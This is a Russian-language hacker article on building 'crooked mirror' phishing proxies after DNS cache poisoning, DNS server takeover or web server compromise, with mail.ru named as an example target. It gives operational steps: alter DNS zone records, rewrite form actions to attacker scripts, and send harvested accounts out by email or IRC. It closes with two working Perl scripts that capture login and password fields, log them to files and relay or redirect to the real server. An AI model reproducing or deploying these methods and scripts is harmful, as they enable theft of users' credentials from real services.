Все знают, что такое зеркала. Нет, не те зеркала, в которых вы видите вечно
не выспавшуюся, немного под хмельком, рожу 😉 - Зеркала сайтов.
То есть, полная копия сайта, созданная для облегчения доступа и снижения нагрузки на основную машину.
Но, мы приспособим эту идею под свои нужды, пойдем дальше таких зеркал, то есть в Зазеркалье =).
Это те же зеркала, только немного искривленные
(модифицированные).
Итак, рассмотрим, что это такое и зачем оно нужно. Я рассмотрю несколько случаев, когда могут понадобиться эти кривые зеркала.
Вариант первый. Вы успешно атаковали DNS кэш какого-либо сервера. И вместо всеми любимого mail.ru пользователям выдают наш левый
IP адрес. Далее, чтобы не расстраивать посетителей, мы делаем на нем полное зеркало mail.ru,
за небольшим исключением. В форме,
ответственной за проверку аккаунта подменяем form action на путь к нашему скрипту, задача которого сводиться к следующему, принять аккаунт, сделать http запрос по реальному IP адресу сервера на проверку полученного аккаунта. И, в зависимости от ответа, записать его в текстовой файл, далее выдать полученный ответ с подправленными ссылками.
Например :
http://mailbox.mail.ru/mail.cgi
меняем на
http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi
Что делает mirror.pl, я думаю понятно. Просто соединяется
с реальным сервером, передает все что надо (cookies,
form_field etc.) и возвращает ответ от реального сервера с такими же подправленными на себя линками.
В итоге, после экспериментов и настройки скриптов,
мы имеем полное зеркало сайта, немного правда искривленное нужной нам функцией :).
Для особо ленивых могу посоветовать ежечасный сброс собранных аккаунтов на мыло или на популярный IRC канал ;). Единственное добавлю, что настройку и отладку такого вот кривого зеркала
необходимо делать до подмены данных в DNS кэше,
иначе громкие вопли юзверев в суппорт в процессе подготовки зеркала сведут все результаты на нет =).
Вариант второй. Многие захватив сервер и не найдя с первого взгляда вкусных баз\инфы, забивают на него, при этом очень часто
забывают поглядеть в /var/named или c:\winnt\system32\dns.
В случае, если эта машина ответственна за какую-либо DNS зону, то намного целесообразнее найти в ней что-нибудь вкусное, типа radius.our.zone
или billing.our.zone 🙂 , и просто изменить IP адрес этого имени. Не забывая дать named-у сигнал перечитать конфигурационый файл
(не забывайте о записи serial, чтобы инфа о новом IP дошла и до вторичного
DNS сервера тоже ;)). Или в случае win32, после изменения текстовых файлов обычного юниксового формата, перезапустить сервис. Рекомендации по строительству кривого зеркала абсолютно такие
же как и в первом случае.
Вариант третий (самый распространенный). Часто
случается так, что получив контроль над машиной, понимаешь, что смотрел задницей и прозевал, что форма передает данные не на эту машину,
а на другую. Или получить доступ на главный WWW сервер оказалось делом плевым, а вот получить доступ к серверу, куда
отправляются данные для авторизации в короткие сроки не реально. В этой ситуации наиболее простым решением
является изменение поля action в форме, которая отправляет нужные данные, на путь к своему скрипту
(на этом же, или другом сервере). Он будет опрашивать реальный и возвращать результат, или перенаправлять на реальный, в зависимости от конкретного случая,
естественно с сохранением проходящей информации =). Также, тут можно включить фантазию, и добавить
пару полей в форму, или повесить сочный баннер призывающий якобы "попатчить" новую ошибку в системе, контроль над которой мы хотим получить =))).
Ниже идут примеры скриптов, но мне лень делать что-либо общее и универсальное, так как писать скрипты, особенно на перле, должен уметь каждый
программер, а вы уж и подавно =). Потому, что сегодня без
автоматизации жить трудно =).
-------------------------------
#!perl
use Socket;
use CGI param;
$text1=param("text1");
$text2=param("text2");
$text3=param("text3");
$remote="xxx.xxx.xx.x";$port="80";
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') };
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket()";
connect(SOCK, $paddr);
$data="text1=$text1&text2=$text2&text3=$text3";
send SOCK,"POST /mail HTTP/1.1\n",0;
send SOCK,"Content-Length: ".length($data)."\n",0;
send SOCK,"Content-Type: application/x-www-form-urlencoded\n",0;
send SOCK,"Connection: Keep-Alive\n\n",0;
send SOCK,$data,0;
while(<SOCK>){$ret="$ret"."$_";}
open (FILE2 ,">>_log.txt") || die "open() log $! $@";
print FILE2 "---=$remote:$port=---\n$ret\n$data\n\n";
close FILE2;
close(SOCK);
-------------------------------
#!perl
use CGI param;
$login=param("login");$pass=param("pass");
print "Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n";
open WR, ">>data.txt";print WR "$login:$pass\n";close WR;
-------------------------------
P.S. Возможно эта статья покажется кому-то слишком простой и неинтересной, но
я просто хотел заострить внимание на том, как еще можно использовать машины в интернете, помимо
использования объемов их винтов, процессорных
ресурсов и каналов. А так же рассказать про возможности, которые многие упускают сосредоточившись непосредственно на цели атаки.